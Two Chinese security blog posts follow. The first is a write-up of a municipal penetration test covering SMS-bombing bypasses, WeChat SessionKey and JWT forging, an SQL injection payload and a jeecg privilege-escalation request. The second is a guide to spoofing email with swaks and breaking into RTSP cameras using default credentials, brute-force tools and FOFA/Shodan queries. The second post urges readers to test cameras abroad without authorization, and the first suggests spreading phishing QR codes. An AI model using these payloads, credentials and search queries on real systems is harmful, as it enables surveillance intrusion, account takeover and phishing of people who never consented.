routing

  • 13 小时前
  • 注册于 2024年7月22日
  • 声明

    本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
    此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!

    0x1 前言

    一、浅谈

    这篇文章主要是给师傅们分享下前段时间我们公司做的渗透测试,这次是跟市里面的网信办一起做的。因为是第一次所以我们这次做的渗透测试价格不高,主要是为了后面连续几年的一个渗透测试服务项目。

    这次的渗透测试范围特别广,包含整个市里面的好多政企单位和学校,资产多,测试起来也就比较简单。下面简单给师傅们分享下一些渗透测试上面的漏洞复盘,给新手师傅们,特别是没有参加过渗透测试的师傅们给点经验。这里需要注明下,该项目中的漏洞目前已经全部修复了,另外提醒师傅们不要做未授权测试。所以下面的渗透测试漏洞案例中又部分截屏不全,我会备注,因为目前已经修复了。

    二、资产整理

    首先我会把公司发的跟这次渗透测试项目相关的文件和资产,还有一些些漏洞报告的模版之类的汇总在一个文件夹中,这样方便后面我自己进行一个漏洞报告编写,以及资产的收集整理,比如像web资产和APP、小程序漏洞都是可以分开整理

    我们在渗透测试项目之前,甲方那边都会给我们一些资产相关的表格,下面就是常见的excel表格资产,还有就是有些甲方可能目标资产不是那么多,且大多都是web资产,直接也有发txt文件的

    txt的类型像下面的如下:

    然后像渗透测试,还有就是授权书也是得有的,这里我们都是合法授权渗透测试的项目,跟那边都有授权合作的项目书,这里也希望师傅们能够合法进行渗透测试

    0x2漏洞一 短信轰炸

    一、纵向轰炸

    这里首先先带师傅们看看渗透测试常测试的点,比如像登陆口,一般都有手机号码登录,手机号码验证登录,需要我们接受短信验证码,然后进行登录操作。像渗透测试还有重测和src漏洞挖掘中,短信轰炸都是收的,企业src价格低点,且一般香短信轰炸,一般像很多企业都要求在比如每分钟15/30条以上就收。

    这里测试的手是一个人力资源管理局的一个微信小程序,这里直接输入我自己的手机号,然后使用bp抓包,拦截短信验证码发送的数据包:

    直接把数据包放到重放模块,下面直接go一下(第一次go)数据包

    可以看到数据包回显是正常的,且手机也是正常的接受到了短信验证码了

    但是第二次再次点击发送数据包,缺显示报错,意思是我们已经发送了一次,在短时间类不能再发送了

    这里我们就可以想下了,我们能不能进行一个验证码发送限制次数的绕过,这个要是能绕过,无限次数的发送验证码是会消耗这个单位的一个资源的

    然后我们就可以进行一个测试了,看看什么字符可以进行绕过验证码发送呢?

    经过测试发现,可以通过@、空格、+86、逗号等进行绕过,从而达到短信轰炸的漏洞危害:

    我们如果要把危害加大,达到一分钟短信轰炸达到几十条,那么我们就要利用bp的爆破了,我们手动添加多个绕过字符,然后进行爆破,尽量多的提高每分钟爆破短信验证码的发送次数,以此来提高这个漏洞的危害:

    然后师傅们就可以看自己的手机上面的短信验证码了,就可以看到一次性并发绕过了很多条短信验证码:

    二、横向轰炸

    然后这个人力资源局的小程序还存在横向爆破绕过漏洞,可以进行双手机号验证码同时进行发送,从而造成逻辑漏洞,下面师傅们可以参考下我具体的绕过技巧,在碰到这样的场景时候,直接去实操即可

    类似下面的,常用的就是下面几个:

    phone=13888888888,phone=13999999999
    phone=13888888888&phone=13999999999
    phone=13888888888,13999999999
    phone=13888888888&13999999999

    下面我就直接重新回到刚才上面的抓包步骤,抓取发送短信验证码的数据包,然后去尝试使用上面的绕过方法,看看能不能进行绕过,双手机号验证码同时发送,这里我使用我的卡一和卡二来演示:

    我这里使用的就是下面这个思路:

    phone=13888888888&13999999999

    然后就可以看到自己手机短信验证码,收到了来自卡一和卡二一样的验证码,且时间也是一样的:

    然后我们这里就可以使用卡二的手机收到的验证码,只需要知道卡一的手机号就行了,那么就可以直接登陆卡一的账号

    那么我们后面深入利用就可以去改人力资源局相关站点去搜索电话号码,然后使用这个漏洞就可以越权登陆其他账号,特别是像权限比较高的admin之类的管理员账号

    三、短信轰炸总结

    下面是我之前总结的一些验证码爆破的一个思维导图,师傅们可以保存下,对于挖掘企业src和众测的时候,厂家收不收呢,其实可以看看相关的文档,一般都是定义每分钟15/30条以上就收

    0x3 漏洞 二 SessionKey三要素泄露

    一、未授权登陆

    下面这个漏洞就是给师傅们分享下,在渗透测试中比较容易发现,并且好打的一个漏洞点——SessionKey三要素泄露,这个漏洞在蛮多微信小程序中都存在,且利用的手法不难,看完我这篇文章,师傅们也可以去测试下

    这个漏洞需要使用到一个SessionKey三要素解密的工具,有直接下载使用的,也有burpsuit插件,反正原理都是一样的,加解密→替换数据包→未授权登陆

    1、首先介绍下使用到的SessionKey解密工具

    https://github.com/mrknow001/wx_sessionkey_decrypt/releases/tag/v0.1

    这个工具直接双击运行即可,类似下面的:

    还有一个就是使用burpsuit的自带插件

    https://github.com/mrknow001/BurpAppletPentester/releases/tag/v1.1

    直接就可以导入到bp插件中

    2、这个微信小程序是目标资产中的一个大学的小程序设备,大学那种预约访谈进出校园、校园招聘那种功能点,像这样的基本上都有那种手机号一键登陆的功能点,像这样的微信小程序手机号一键登陆,很大概率存在SessionKey三要素泄露漏洞,这样的漏洞我之前挖EDUSRC挖了好多,且有一本证书站也就是这个漏洞,但是没有那么明显

    3、点击手机号快捷登陆操作,直接使用bp抓包,可以看到数据包中出现了SessionKey三要素泄露:

    4、直接一键发送到AppletPentester 插件中

    5、直接一键解密即可

    6、在信息收集的时候,在一个接口中,发现这个微信小程序里面有很多的一些学校老师信息,比如手机号之类的,然后这里我就带师傅们利用这个SessionKey三要素泄露漏洞,直接未授权登陆管理员老师账号

    直接替换成管理员老师176的手机号,然后点击加密

    再进行登陆口抓起数据包,替换数据包,然后点击重发数据包即可

    就可以直接未授权登陆这个账号了

    二、弱口令+信息泄露

    然后,我这里直接把这个小程序的host拿到web页面去访问,因为我一般打小程序都有这个习惯,看看web端有没有系统,特别是那种登陆系统,弱口令的概率很大

    打开web端访问,直接跳转这个页面,特别经典的若依系统页面

    这里直接使用刚才的手机号+弱口令密码

    直接成功登陆了后台,里面泄露了整个学校的学校个人敏感信息

    0x4 JWT爆破攻击

    一、可爆破/未验证签名导致越权

    首先通过微信搜索小程序,找到对应目标资产中的小程序系统

    直接点击这个微信小程序,这个时候我们需要一直打开我们的bp抓取小程序的数据包(这个是一个测试小程序的一个好习惯,因为有些接口,包括敏感信息泄露,看历史的数据包很关键),然后看看数据包有没有什么提示,因为这里我的bp安装了HAE,一般重点关注带颜色的数据包

    这里我们可以看到bp的历史数据包,显示了多个JSON Web Token也就是大家常说的JWT值,像一般碰到这样的JWT值,我一般都会选择JWT爆破尝试haiy选择有无设置None加密,去进行做一个渗透测试

    这里先直接复制到https://jwt.io/ 去看看这个JWT里面的内容,然后去猜测这个paylod校验哪部分

    下面我来给师傅们讲解下这个payload代表什么,一些新手师傅可能没有了解过,包括后面进行数据包替换,也是要修改其中的payload值

    |字段名|值|说明|
    |-|-|-|
    |role|appUser|用户角色,表明用户属于应用层普通用户(非管理员)|
    |exp|1747377338|令牌过期时间(Unix 时间戳)。通过转换可得具体时间:2025-11-14 11:15:38 UTC|
    |userId|xxxxxxxxxxxxxxxxxx|用于标识用户身份|
    |user_key|xxxxx-xxxx-xxxx-xxxx |用户密钥或关联密钥(可能用于访问控制或加密)。|
    |username|1xxxxxxxxx79|手机号,一键微信登陆的|

    这里先使用自己修改的JWT脚本爆破工具,看看能不能爆破出密钥

    爆破发现其密钥为123456

    然后直接来到刚才JWT的网站,去利用该key构造JWT,可以直接进入后台,下面的勾需要勾上

    因为这里我经过测试,这个网站的JWT是对user_key进行校验,所以只要在规定时间内user_key不过期,那么我们就可以拿另外一个手机号进行测试,替换bp抓取登陆口的数据包,然后放包就可以直接登陆别的账号

    首先这里需要修改下时间戳,拿这个网站:https://tool.lu/timestamp/ 一般都是改成第二天的时间,不可以早于测试时间

    还有就是把username替换下,这里我做测试,替换我的卡二,也就是最后面说93的尾号,因为经过测试,普通用户的role 都是appuser,这里猜测管理员可能是admin

    然后直接在小程序登陆口,使用bp抓包,然后劫持数据包,进行替换token值,因为这里经过测试是校验的JWT值

    通过不断替换JWT值,然后不断测试放包,放包,最后面可以直接不需要使用账号密码,直接登陆改账号

    二、设置加密为None导致不验证签名从⽽达到越权

    上面那种情况只需要爆破密钥,或者一些系统框架默认使用一些密钥,没有经过修改,可以直接利用默认key的那种,这里给师傅们讲解下那种设置加密了——None加密,导致直接爆破不了,需要使用JWT工具自动生成None加密的四种不同算法,也可以理解成一种绕过思路

    这里需要使用的工具是jwt_tool,下载地址如下:https://github.com/ticarpi/jwt_tool

    这里我这个小程序是不存在这个漏洞,但是这里给没有学过这个漏洞的师傅们演示下

    python jwt_tool.py JWT值

    会直接显示JWT解密以后的内容显示出来

    下面使用这个工具来测试 None 算法漏洞

    使用下面的这个语法跑这个脚本,⾃动⽣成 4 种 None 算法的变体(⼤⼩写敏感测试),其实也就是使用这四个token去挨个尝试替换,然后发包,看看返回包是否有成功回显数据

    python jwt_tool.py JWT值 -X a  

    burpsuit返回包总结:

    401 Unauthorized → 签名校验失败,可尝试算法混淆或密钥爆破
    200 OK → 攻击成功(罕⻅,说明存在⾼危漏洞)
    {"error":"alg not allowed"} → 服务端禁⽤ None,可尝试算法改⽤其他攻击向量(如 PS256 → HS256)

    0x5 OAuth2.0漏洞

    这次我在测试过程中碰到了OAuth2.0漏洞,是一个企业的微信公众号和一个带宣传性的一个登陆管理网站存在的这个漏洞,直接存在二维码不需要二次确认扫描,目前已经被修复了,但是那种漏洞的站点很明显,截屏那个网站的logo打码也看的出来

    所以这里直接给师傅们分享下我之前写的一篇关于OAuth2.0漏洞的文章,在先知社区原创的文章:https://xz.aliyun.com/news/16153

    简单案例分享

    简单来讲就是在登录过程中,比如可以使用第三方应用授权登录,且扫描二维码登录不需要确认校验,直接扫码即可登录,那么就可以使用二维码钓鱼之类的危害,就是文章开头的描述的百度案例一样。

    这里进入后台,然后有一个使用微信绑定,扫描二维码的功能

    点击立即绑定,然后就会弹出来一个二维码,那么我们就可以拿这个二维码进行一个钓鱼欺骗,让别人扫描二维码,从而绑定别人的微信号

    就跟我上面的一个,搞一个钓鱼的二维码模板,然后往一些网安群里面一发,说什么小白免费领取网安教程,只需要扫描此二维码即可(肯定有人扫的)

    0x6 jeecg泄露漏洞

    一、jeecg框架简介

    JeecgBoot是一款基于AIGC、BPM和低代码引擎的AI低代码平台,旨在帮助企业快速实现低代码开发和构建个性化AI应用!前后端分离架构Ant Design&Vue3,SpringBoot,SpringCloud Alibaba,Mybatis-plus,Shiro。强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE, 帮助Java项目解决80%的重复工作,让开发更多关注业务,快速提高效率 节省成本,同时又不失灵活性!低代码能力:Online表单、Online报表、大屏/仪表盘设计、表单设计、流程设计、报表设计;AI能力:AI应用平台+知识库问答、AI模型管理、AI流程编排、AI聊天、AI建表等,支持各种AI大模型ChatGPT、DeepSeek、Ollama等.

    jeecg官网如下:

    https://www.jeecg.com/

    二、jeecg综合漏洞利用工具

    这里先给新手师傅们分享个还不错的jeecg漏洞利用工具,首先这个工具书GUI图形化工具,还有就是这个工具更新了很大jeecg的历史nday漏洞在里面,使用操作简单

    工具下载链接:https://github.com/MInggongK/jeecg-

    这里给师傅们演示下,直接把可能存在jeecg漏洞的url导入目标中,然后选择ALL模块,进行检测即可

    三、从小程序到web端接口泄露

    好了,这里废话不多说了,这里回归这次渗透测试项目中来,再次给师傅们分享下这个漏洞,因为有些刚接触网安的师傅还没有接触这个漏洞,所以这里给大家分享下,这次jeecg漏洞通过以前保留的一些jeecg测试手册,一些jeecg的接口和bp数据包,像这样的jeecg框架系统,都是可以直接拿来测试

    1、首先,这个系统漏洞还是小程序,直接搜索对应资产小程序名称,这个系统是该市里面的一个大学的缴费系统

    2、打开微信小程序,首先我会直接去打开bp抓包,然后这里随便点击里面的功能点,然后进行看里面的数据包

    然后去翻里面的历史数据包,师傅们可以看到下面的table关键字

    这个tableNane关键字让我感到兴趣,是因为开发人员在一些做接口命名的时候,不会随意取名称,他这个接口后面的tableNane=xxxx,这里我直接去拿table表名出线多的去尝试猜测下

    这里我尝试了几个,但是都没有出信息,还尝试了information_schema.tables表名,都没有什么数据回显

    然后我这里还尝试直接把表名置空,但是依然没有什么敏感数据回显

    3、这里直接把小程序数据包中的host域名和端口,直接放到web端去访问,然后再尝试别的测试

    4、这里使用findsomething插件,去跑下web页面泄露的接口,这里把收集到的接口放到一个1.txt的文件中

    5、这里师傅们要是没有思路,最简单的就是就可以直接把findsomething插件泄露的接口利用bp的POST和GET方法都跑一遍即可。但是这里我需要找找我保存的接口里面有没有泄露跟tableName相关的

    6、通过findsomething插件,得到了好几个tableName的接口,然后直接使用bp去访问,发现一个接口直接泄露了四百多个数据表格名称

    然后每个表里面都泄露了好几百个个人敏感信息,比如身份证、手机号、姓名之类的

    四、SQL注入漏洞

    这个小程序的一个接口还存在SQL注入漏洞,通过测试,直接可以注入出数据库名称,直接又一个SQL注入到手了

    SQL注入payload:updatexml(1,concat(0x7e,user(),0x7e),1)

    五、提权操作

    师傅们,其实测试到这里,这个系统小程序和web端都摸熟悉了,就是jeecg的系统框架,里面的很多接口都是jeecg开发默认的接口名称,但是前面的路径发生了一点变化,没有原班直接拿jeecg的接口使用,但是经过FUZZ测试出来了很多接口,这里给师傅们分享下,我先注册一个账号,然后提权到admin管理员账号的过程。

    首先我使用register注册接口,注册一个账号

    下面就是提权的一个操作了,需要再次FUZZ接口,因为打jeecg漏洞多的师傅们,都知道,jeecg有很多的接口,像什么注册、查信息,查user_id,查所以账号的token值,还有用户敏感信息等,但是现在很多系统都不会直接拿jeecg都路径接口部署了,多多少少会进行魔改

    这里首先需要查询管理员admin的账户ID

    然后查询自己刚才创建用户的ID值

    然后使用打提权使用的jeecg漏洞poc,如下:

    //roleld填写需要提权的角色id userldList填写自己的id

    POST xxxxx/jeecg-boot/sys/user/addSysUserRole(jeecg接口,需要自己去尝试,不一定是我这个) HTTP/1.1
    Host: 
    Cookie: cna=Ov9SH4RxGiACAf////9C18zb
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
    Accept: application/json, text/plain, */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjUzNzMyNDMsInVzZXJuYW1lIjoiMTEwMTAyIn0.NXRckymfKdZvEFsDQZ9Jwvk_rU_gVny2Rx6A
    Tenant-Id: 0
    Origin:
    Dnt: 1
    Referer: 
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    Priority: u=0
    Te: trailers
    Connection: close
    Content-Type: application/json
    Content-Length: 96
    
    {
    "roleId":"xxxxxxxxxxx",
    "userIdList":[
    "xxxxxxxxxxxxxxxx"
    ]
    
    }


    这样就成功创建了这个系统的admin管理员的账户了,后面的思考就是直接使用创建的账户密码,去尝试爆破登陆其他系统

    六、其他jeecg小技巧

    下面再给大家总结下jeecg的其他打法小技巧

    一、常见的接口敏感信息泄露:

    /v2/api-docs
    /swagger-ui.html
    /env
    
    //获取参数信息
    /actuator
    /mappings
    /metrics
    /beans
    /configprops
    /actuator/metrics
    /actuator/mappings
    /actuator/beans
    /actuator/configprops
    /actuator/httptrace

    二、常见jeecg框架接口关键字:

    像看到下面的几个关键字,首先需要想到使用jeecg去打,因为很多现在直接把jeecg关键字给魔改了

    jeecg/
    
    api/sys/
    
    sys/user

    三、jeecg的几个常用弱口令:

    可以使用下面的弱口令去尝试爆破下登陆接口

    admin:123456
    
    jeecg:123456

    0x7 总结

    然后还有很多其他的漏洞,这次文章就不一一给师傅们分享了,留着下次有时候给师傅们分享,这次写这篇文章由于之前的渗透测试项目漏洞都修复 了,我才写的这篇文章,所以实属不易,为了给师傅们演示的那么细致,特意去网上现找了一些漏洞实操截图给师傅们,因为之前的漏洞报告没有写的那么详细,这里怕新手师傅看不懂。

    这次渗透测试总共提交了四五十个漏洞报告,其中包括很多框架系统的默认弱口令,这个确实让我蛮意外的,还有一些网上的nday,这里面有些老系统也存在,因为测试的资产比较多,所以相对来讲出洞率较高。

    最后,希望看完这篇文章的你,也可以挖到心仪的漏洞!

  • 声明

    本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
    此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!

    0x1 RTSP奇特之旅前言

    浅谈

    哈咯,师傅们,好久不见!

    已经很久没有写文章了,这次简单写一个蛮有意思的案例,也是在最近攻防演练中遇到的。

    其实在最初开始晚没有特别的去想着去利用这个漏洞——RTSP协议漏洞,因为之前有看过文章简单了解过,主要就是打弱口令和未授权访问漏洞,然后一般就是比较敷衍的使用爆破工具爆破下,有无弱口令,或者使用字典目录遍历下。

    像下面的我就喜欢使用无影tools的爆破模块

    把目标导入即可,然后选择RTSP的554端口进行爆破,字典可以选择内置的字典

    其次一般像RTSP的弱口令和未授权在我以前感觉用处不是很大,且平常挖src漏洞之类的,也不怎么碰的到。但是这次攻防演练嘛,有些东西在平常可能没多大的利用的价值,但是打攻防说不定就是可以打分打权限的那种,下面就来介绍下这个RTSP漏洞。

    其中主要还是在网上看了很多的打法和文章资料,在网上尝试了蛮多的工具,发现一款GitHub上面的新利用RTSP漏洞一键利用的工具,然后结合这次资产刚好有,就利用起来了。

    然后这次我开始也是简单的爆破下,因为这次是攻防演练嘛,然后是某单位的资产,且有好多下级部门的厂商视频监控管理系统,所以对应的监控大都是RTSP协议的,集群远程管理。

    且这次的攻防演练目标资产比较多,范围比较广,只要是属于该市的资产都可以,还有一些企业的都可以,像很多的监控系统都带有远程管理操作,所以有部分都是RTSP协议的,且这个漏洞在平常接触比较少,就比如我平常挖src对这个漏洞基本上没有太多的操作。

    下面是我简单收集的一些资产表格如下:

    0x2 众测捡钱小技巧(拓展)

    一、浅谈

    上面既然介绍到了我们平常挖企业src中一些不怎么会收的漏洞,比如我这里要讲的RTSP漏洞,这个漏洞的话主要是在攻防演练中,我们可以对目标资料中的一些监控管理系统进行拿监控管理权限的分,因为在攻防演练中主要是通过拿数据分和权限分,特别是你打进内网,像这样的监控系统肯定很多,这样就可以帮助你拿比较多的权限分。

    这里给师傅们看下某些评分标准:

    下面我来给师傅们讲下众测中,我一般第一先测试的漏洞——SPF邮件伪造漏洞。

    具体的测试方法,我下面有很详细的测试手法,其实网上也有很多的批量跑SPF邮件伪造漏洞的脚本,其中我自己也是利用这些脚本去测试的,因为在众测中,得拼手速了,具体的脚本我这里就不放上去了,因为脚本内容因人而异,最好自己修改下。

    其实在攻防演练中也是可以利用SPF邮件伪造漏洞的,可以使用SPF邮件伪造去钓鱼,收集目标资产的邮箱,然后去钓鱼攻击,也是一种方法,在护网期间,钓鱼攻击是特别常态且使用特别多的一种方式。

    二、SPF邮件伪造漏洞

    针对师傅们对于SPF邮件伪造漏洞的拓展,师傅们可以看我之前写的那篇原创文章:https://xz.aliyun.com/news/14752

    这里就引用这篇文章的SPF邮件伪造漏洞,写的蛮详细的,师傅们可以参考学习下,然后后面在众测项目上去赚点漏洞赏金。

    1、spf邮件伪造漏洞简介:

    SPF 记录是一种域名服务(DNS)记录,用于标识哪些邮件服务器可以代表您的域名发送电子邮件

    SPF 记录的目的是为了防止垃圾邮件发送者在您的域名上,使用伪造的发件人地址发送邮件。

    原理:未设置spf导致的邮件任意伪造,可以用来钓鱼社工,本身就是高危

    若您未对您的域名添加 SPF 解析记录,则黑客可以仿冒以该域名为后缀的邮箱,来发送垃圾邮件。

    2、漏洞危害:

    可以用未进行安全配置的网站域名,发送邮件。

    比如:www.baidu.com有这个漏洞,你就可以伪造HR@baidu.com给受害人发邮件进行钓鱼。

    src收的少,但是重测和渗透测试项目可以交。

    • 注意:如果没有v=spf1或者没spf就存在邮件伪造漏洞。
    • -all 不能伪造,all可以伪造

    3、测试漏洞

    我们直接拿baidu.com的域名来给大家演示下,用kali的nslookup 工具测试下

    可以看到下面的回显,存在spf记录,是-all参数,说明不能任意伪造。

    ┌──(root-kali)-[~]
    └─# nslookup -type=txt baidu.com

    还可以使用dig -t命令来测试

    ┌──(root-kali)-[~]
    └─# dig -t txt baidu.com

    4、SPF解析不当导致绕过

    把下面的spf配置记录复制下来

    测试地址如下:

    https://www.kitterman.com/spf/validate.html

    这里显示spf解析配置正确

    下面拿一个存在spf解析错误的案例来演示下:

    SPF记录报错,在这条SPF记录中,存在多个IP段,但只有开头的一段ip用了ipv4,这就导致了语法错误。因为这个错误,将导致整个SPF记录完全失效,因为SPF无效,邮件接收方的SPF检测功能也就失效了。

    5、swaks 测试

    使用kali自带工具swaks 测试

    swaks --body "helloword" --header "Subject:testT" -t 自己的邮箱 -f test@baidu.com
    body为内容
    Subject为标题
    -t为目标邮箱
    -f为伪造的发送方,这里我们伪造加了cn字眼,这里伪造改不明显字眼等都会进垃圾箱

    我们先申请一个临时邮箱:

    http://24mail.chacuo.net/

    然后我们使用kali自带的swaks 工具进行测试,结果如下

    ┌──(root-kali)-[~]
    └─# swaks --body "【2024年8月1日】 检测到您教务系统长时间未修改密码,请及时修改密码确保账户安全 手机管家@163.com
    【该邮件自动监测请勿回复】" --header "Subject:vivo" -t vioxzs43016@chacuo.net -f customers@alexz.com


    看到这里,我们要是对标题和内容进行改进,那么我们是不是就可以尝试钓一波鱼了呢?

    0x3 RTSP协议漏洞介绍

    一、协议分析

    • RTSP(实时流协议)是一个网络控制协议,设计用于娱乐和通信系统中控制流媒体服务器。该协议用于建立和控制媒体会话中的时间同步流。RTSP 提供了一个可扩展框架,使得能够实现对实时数据,如音频和视频的控制。与HTTP不同,RTSP提供了对流数据的实时控制功能,比如可以随意快进或倒退。

    • RTSP 主要用于以下场景:

      1、视频监控系统,会议视频

      2、IP摄像头监控(企业、大街、工厂的监控头)

      3、媒体播放器与媒体服务器之间的交互

      4、智能家居设备,比如:门铃、智能汽车行车仪等

    • RTSP 协议通常运行在 TCP 或 UDP 协议之上,使用的端口是554,不同厂商可能是8554端口。它允许客户端发送播放、暂停和停止等控制指令,以及进行实时播放位置的调整。

    二、RTSP认证方式

    1、Basic认证(基本认证)

    基本认证是HTTP 1.0 提出的认证方案,其消息传输不经过加密转换因此存在严重的安全隐患。

    服务端在未认证时返回401Unauthorized,并带上WWW-Authenticate: Basic realm="RTSP Server"头,要求客户端提供凭据。

    1) 客户端发送 DESCRIBE 请求

    DESCRIBE rtsp://192.168.1.55:554/11 RTSP/1.0\\r\\n CSeq: 1\\r\\n 
    Accept: application/sdp\\r\\n 
    User-agent: Realplayer\\r\\n\\r\\n

    2)服务端发出 WWW-Authenticate 认证响应

    服务端返回401错误码,发出 WWW-Authenticate 认证响应告诉客户端需要进行认证。

    RTSP/1.0 401 Unauthorized\r\n 
    CSeq: 1\r\n WWW-Authenticate: Basic realm="RTSPD"\r\n\r\n

    3)客户端再次发出 DESCRIBE 请求

    此时客户端程序弹出密码认证窗口 ,提示输入用户名,密码等认证信息,并根据服务端返回的响应消息中进处理,如果发现是 Basic认证则携带认证信息发送如下报文:

    DESCRIBE rtsp://192.168.1.55:554/live/1/video.sdp?token=A00453FR805a54C8 RTSP/1.0\r\n CSeq: 2\r\n 
    Accept: application/sdp\r\n 
    User-Agent: RealMedia Player HelixDNAClient/12.0.1.647 (win32)\r\n Authorization: Basic YWRtaW46YWRtaW4=\r\n\r\

    其中 “YWRtaW46YWRtaW4=” 是通过 username:password 进行 base64 编码所得。因为其具有唯一性等价于账号和密码,明文发送泄漏后存在安全风险。

    2、Digest认证(摘要认证)

    摘要认证是http 1.1提出的基本认证的替代方案,其消息经过MD5哈希转换因此具有更高的安全性。

    避免了直接明文传输密码的风险。但是 MD5 哈希较弱,仍然可以通过 彩虹表等方式破解。

    三、RTSP认证流量监测

    首先,这里你去了解RTSP认证流量,得先安装两款工具,工具是使用Wireshark和VLC视频播放工具。

    1、Wireshark下载地址

    https://www.wireshark.org/download.html

    2、VLC视频播放工具

    https://www.videolan.org/vlc/index.zh_CN.html

    因为我的电脑上macbook,所以打开VLC和使用如下操作(windows的操作也是差不多的)

    1、默认下载下来是英文的,直接可以设置中文的

    选择Language,然后选择简体中文,重启软件就好了

    2、打开 VLC 主界面,选择File > OpenNetwork(中文版为媒体 > 打开网络串流

    3、在弹出的对话框输入直播流播放地址,然后点击打开即可查看监控视频画面了

    3、认证流量监测

    使用Wireshark和VLC视频播放工具

    获取rtsp协议认证方式,可以发送options和describe请求进行,如下图所示,获取到认证方式为401 Basic和Digest, 如果返回的状态码为200,说明存在未授权访问。

    0x4 RTSP漏洞攻击

    一、主流摄像头安全问题汇总

    1、警卫视摄像头

    型号:qs-qy
    连接密码:密码默认为空
    
    rtsp连接地址:
    
    rtsp://admin@IP:554/live/ch00_1

    2、乐橙摄像头

    型号:LC-S2D
    rtsp密码:摄像头底部安全码    
    rtsp连接地址:
    rtsp://admin:L2C3F848@IP:554/cam/realmonitor?channel=1&subtype=0

    3、tp-link摄像头

    设备型号:TL-IPC44AW
    rtsp密码:默认为空
    rtsp连接地址:
    rtsp://admin@IP:554/stream1   

    4、萤石摄像头

    设备型号:CS-C6
    rtsp密码:摄像头底部安全码
    rtsp连接地址:
    rtsp://admin:RMETAA@IP:554/h264/ch1/main/av_stream

    5、乔安智联摄像头

    设备型号:JA-C10E
    rtsp密码:空密码
    rtsp连接地址:
    rtsp://admin@IP:554/live/ch00_1

    6、帝防摄像头

    设备型号:JA-C10E
    rtsp连接地址:
    rtsp://admin:admin11@IP:554/onvif1   

    7、Cubetoou摄像头

    设备型号:Q88
    rtsp连接地址:
    rtsp://admin:123a123a@IP:554/onvif1

    8、 icam365摄像头

    设备型号:GI-2304
    rtsp连接地址:
    rtsp://admin:admin@IP/live.sdp
    
    思路:
    ①指纹识别    
    发送rtsp请求,根据server头找到设备型号为TAS-Tech
    
    ②查找设备rtsp地址和密码
    在ispyconnect (https://www.ispyconnect.com/camera/tas-tech),上找到rtsp地址和密码。
    连接地址为:rtsp://admin:admin@IP/live.sdp

    二、RTSP爆破

    • RTSP协议认证主要有Basic和Digest两种
    • 它的RTSP URL通常是这样的 rtsp://admin:admin@192.168.1.56:554/live/sys01

    对于爆破用户名、密码和流路径的方法网上也是有很多的python脚本,都可以尝试使用,但是我自己使用了好几个,都感觉差点意思,首先对于打攻防演练中,批量去测试,且需要对测试出来的IP地址进行归类,然后显示和判断出有价值的信息的,且导出页面可视化效果不好,其次好多针对呀RTSP这个漏洞目前汇总的字典不够全,爆破起来不是那么那啥,得自己汇总针对性的字典。

    三、RTSP协议爆破工具

    我最开始就是使用无影tools和hydra九头蛇进行尝试爆破。

    特别是对于新手师傅们,可能更喜欢在网上找些github项目的图形化GUI的项目试试,我这里也是找到了一个工具,蛮不错的,图形化操作,内置字典都还不错

    GitHub地址:

    https://github.com/returnwrong/RTSP-Cracker-Pro

    师傅们要是觉得这个工具还不错,看完我的文章以后可以挖到这类漏洞了,可以给作者点个star关注

    这里直接下载这个zip文件即可,里面主要是一个python的可执行文件,是个GUI图形化的工具

    但是这里我的MacBook电脑自带的Python 3.9.6运行这个下载的python执行文件,里面的功能显示不全(有点疑惑)

     ~/Downloads/rtsp_crackV1.0.3 > python --version
    Python 3.9.6

    后面在Cursor上面进行代码修改,提示应该是在 Mac 上运行时出现图形化界面显示异常,可能是由于不同操作系统的字体、颜色渲染或布局方式有所差异导致的,这里直接改改代码即可

    工具打开以后是这样的,图形化界面,看着就很简单

    四、攻防演练RTSP实战

    这里最开始是通过查看评分手册来看到一些摄像头权限分也是可以拿的,且当时在资产收集过程中,看到了蛮多的视频监控管理系统等等,于是我上网找了蛮多的资料和工具进行测试漏洞。

    这里直接把IP导入到ip.txt文件中

    这里的字典可以使用工具自带的,但是我这里建议师傅们要是能过自己再去多收集一些,然后与这个工具的字典汇总,再去重,爆破效果可能要好点

    然后点击破解,就可以看到具体的一个破解速度和进程了,图形化的好处就是可以很直观的看,爆破的日志也很清晰,特别是对于攻防中目标资产特别多,我们可以调整下线程大小

    还有就是Digest认证和Basic认证两种都跑一下,这样爆破成功的概率更大

    爆破成功后,可以直接点击查看结果的功能,里面的爆破成功目标资产很详细的列举出来了,但是我感觉爆破最主要还是得靠字典,这个工具自带的字典还行,但是也不是特别全,需要自己去网上收集

    然后把显示爆破成功的RTSP URLs复制过来到VLC视频工具,然后连接就可以直接看到监控内容了

    五、手把手带你挖RTSP漏洞

    像师傅们看完我上面的文章了是吧,手肯定也痒痒了,也想去测试下这个漏洞,获取下监控视频的权限。这里提醒下,别使用国内的,可以去试试国外的。具体的空间搜索引擎语法如下:

    FOFA语法

    port="554" && protocol="rtsp" && category="视频监控"

    FOFA语句二:

    (port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp"


    可以看到数量比较多,测试的时候可以把线程调大点,爆破的时间就稍微短点

    shodan搜索网络摄像头语法:

    shodan搜索起来更加好点,特别是这里建议大家试试国外的站点,建议可以使用shodan去测试

    port:554 has_screenshot:true

    然后打开VLC media player,配置流地址,然后就可以直接有监控权限了,可以直接看画面了

    0x5 总结

    到这里,这篇文章就已经结束了,该聊的和该注意的地方都给师傅们前面已经提过了,结尾呢主要是还是得提醒下师傅们不要未授权测试,且干渗透测试得低调点。

    然后上面已经非常详细点给师傅们分享了RTSP漏洞的案例,看完这篇文章,我想小白新手师傅都可以去挖这个漏洞了,使用的工具和手法都给师傅们分享了,且都写的非常的详细。

